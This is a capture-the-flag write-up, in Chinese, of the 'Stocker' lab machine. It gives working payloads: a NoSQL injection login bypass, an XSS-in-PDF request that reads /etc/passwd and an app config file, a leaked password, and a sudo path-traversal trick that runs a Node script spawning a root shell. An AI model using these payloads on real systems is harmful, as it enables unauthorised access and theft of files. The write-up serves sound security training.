[Meachines] [Easy] Stocker NOSQLI+PDF-XSS-LFI+*通配符Bypass权限提升

Information Gathering

IP Address	Opening Ports
10.10.11.196	TCP:22,80

$ ip='10.10.11.196'; itf='tun0'; if nmap -Pn -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); if [ -n "$ports" ]; then echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; nmap -Pn -sV -sC -p "$ports" "$ip"; else echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; fi; else echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; fi

bash 复制代码

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 3d12971d86bc161683608f4f06e6d54e (RSA)
|   256 7c4d1a7868ce1200df491037f9ad174f (ECDSA)
|_  256 dd978050a5bacd7d55e827ed28fdaa3b (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://stocker.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NOSQLI && PDF-XSS-LFI

# echo '10.10.11.196 stocker.htb' >>/etc/hosts

# echo '10.10.11.196 dev.stocker.htb' >>/etc/hosts

http://dev.stocker.htb/login

Content-Type: application/json

应用使用了 MongoDB 或其他类似的 NoSQL 数据库，往往会以 JSON 或类似的格式与数据库进行交互，因此很有可能是使用了 NoSQL 数据库，如 MongoDB。

复制代码

POST /login HTTP/1.1
Host: dev.stocker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 44
Origin: http://dev.stocker.htb
Connection: close
Referer: http://dev.stocker.htb/login
Cookie: connect.sid=s%3AuHfFeLPGSEc-qATP1x8ZpvDMDTTh2SyF.GpEHRtc7UTTPI%2BNgRMpIzjDv%2BxO7AQkRUNu9Mq5TC5A
Upgrade-Insecure-Requests: 1

{"username":{"$ne":1},"password":{"$ne":1} }

复制代码

POST /api/order HTTP/1.1
Host: dev.stocker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: connect.sid=s%3AIJ_3Rtib4U9iyygfsOEt_uY6dpZp3FFc.h%2BYon1AR24qmHaPVmaeODrF%2Faav%2F%2Fe%2BdK22Vc%2BYmVRs
Upgrade-Insecure-Requests: 1
If-Modified-Since: Tue, 06 Dec 2022 09:53:59 GMT
If-None-Match: W/"2a9a-184e6db4279"
Content-Type: application/json
Content-Length: 392


{
  "basket": [
    {
      "_id": "638f116eeb060210cbd83a8d",
      "title": "Cup<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open(\"GET\",\"file:///etc/passwd\");x.send();</script>",
      "description": "xxxxx",
      "image": "red-cup.jpg",
      "price": 32,
      "currentStock": 4,
      "__v": 0,
      "amount": 2
    }
  ]
}

http://dev.stocker.htb/api/po/67a9a53e0e268a4cdd0b0bb9

读取配置文件

复制代码

POST /api/order HTTP/1.1
Host: dev.stocker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: connect.sid=s%3AIJ_3Rtib4U9iyygfsOEt_uY6dpZp3FFc.h%2BYon1AR24qmHaPVmaeODrF%2Faav%2F%2Fe%2BdK22Vc%2BYmVRs
Upgrade-Insecure-Requests: 1
If-Modified-Since: Tue, 06 Dec 2022 09:53:59 GMT
If-None-Match: W/"2a9a-184e6db4279"
Content-Type: application/json
Content-Length: 402


{
  "basket": [
    {
      "_id": "638f116eeb060210cbd83a8d",
      "title": "Cup<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open(\"GET\",\"file:///var/www/dev/index.js\");x.send();</script>",
      "description": "xxxxx",
      "image": "red-cup.jpg",
      "price": 32,
      "currentStock": 4,
      "__v": 0,
      "amount": 2
    }
  ]
}

username:dev
password:IHeardPassphrasesArePrettySecure

User.txt

950316457d8a4004ed601c5ba7e0ca53

Privilege Escalation: * Bypass

$ echo 'require("child_process").spawn("/bin/bash", {stdio: [0, 1, 2]})'>/tmp/shell.js

$ sudo /usr/bin/node /usr/local/scripts/../../../tmp/shell.js

Root.txt

5fa73a7f3cabba1172cc894e1043f27b